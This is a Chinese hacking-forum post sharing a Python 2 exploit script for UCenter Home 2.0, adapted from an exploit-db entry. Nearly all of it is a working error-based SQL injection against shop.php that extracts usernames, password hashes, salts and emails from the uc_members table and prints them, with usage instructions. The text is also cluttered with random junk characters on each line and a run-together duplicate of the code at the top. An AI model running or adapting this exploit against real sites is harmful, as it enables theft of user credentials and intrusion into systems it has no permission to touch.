找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2245|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl2 V: _' Y: j/ {: H  H1 M

2 C/ z0 u/ l6 i4 e9 M# \
6 Y+ S& |; r1 K$ N$ t' Z0 S#!/usr/bin/env python  4 X* _. n$ L0 q  d# }
2 V" M' s$ o- P
import sys  ! b' B: {* [0 r
import urllib2  / z. F( ^/ r2 |1 p5 g
import re  
: Z9 G0 r2 G8 j/ _( [: W8 y) @# m 4 I6 P3 }2 e$ q) i
def info():  , j. R& K! S3 W7 v, B$ }0 [
    print 'From:http://www.exploit-db.com/exploits/14997/'
0 ?% t6 F7 d  x8 c' {6 [    print 'http://www.hake.cc/Web_loudong/' & A0 C  k( i* ?5 O( b
    print 'changed:qiaoy'  & Z% G% \# g% b7 m8 ~1 C8 @( m
    print 'exp:'  
9 F2 N( q7 ~5 V8 M" n3 `    print ' ./UCenter_Home_2.0.py site'  : q; I$ Z8 e+ c) l8 T& ~0 m+ @

& h$ }3 |2 d! g" t, N' vdef main():  
1 b! i7 g4 w  U$ x9 k    if len(sys.argv) != 2:  
8 o: e8 J2 I; v3 |! k$ e        info()  9 L3 |; \4 W! ]9 H
    else:  
) X9 K* b$ b% [% `        site = sys.argv[1]    \* D" e: {1 s  L/ @* @+ |
        if site[0:7] == 'http://':  
6 i/ h$ C$ J0 a            sitesite =site  
3 x- f' I# U1 ]5 u3 T4 X( K        elif site[0:8] == 'https://':  8 @9 \2 F5 t/ `+ T  l6 E8 O. q
            sitesite = site  
9 B* V7 p5 Q& J0 v8 s- c        else:  
! k% X  u' X/ G: v            site = 'http://'+site  # B7 r# }4 Y; x4 |, ~9 O
        try:  # J3 Q' u1 d' ]; r
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  6 e, E, [+ [) N
            Value = urllib2.urlopen(url).read()  # M- R9 s( i8 \# D) i2 [7 D6 l
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  # T; i7 H& I6 Y( P' Q4 Y
            hacked = Msg.split(':')  7 `% Z" _" P" l0 w2 A# B0 x
            print 'Name:    '+hacked[1]  
& F4 p9 H4 Z& z            print 'Passwd:  '+hacked[2]  & C) |. W5 ]7 d
            print 'salt:    '+hacked[3]  
4 D% y4 U! d4 k; L( a# j/ {( T) _            print 'email:   '+hacked[4]  ( z; [) s( A) |* l
        except:  
" T. @0 m3 x; M6 E6 h% N' b            print 'Sorry,I can\'t work............'  0 @2 I: r& x# r1 }& `# f: O" L
* T/ @0 u4 n2 z7 C
if __name__ == '__main__':  4 ^, P- O0 L3 O, [; k0 b6 }
    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表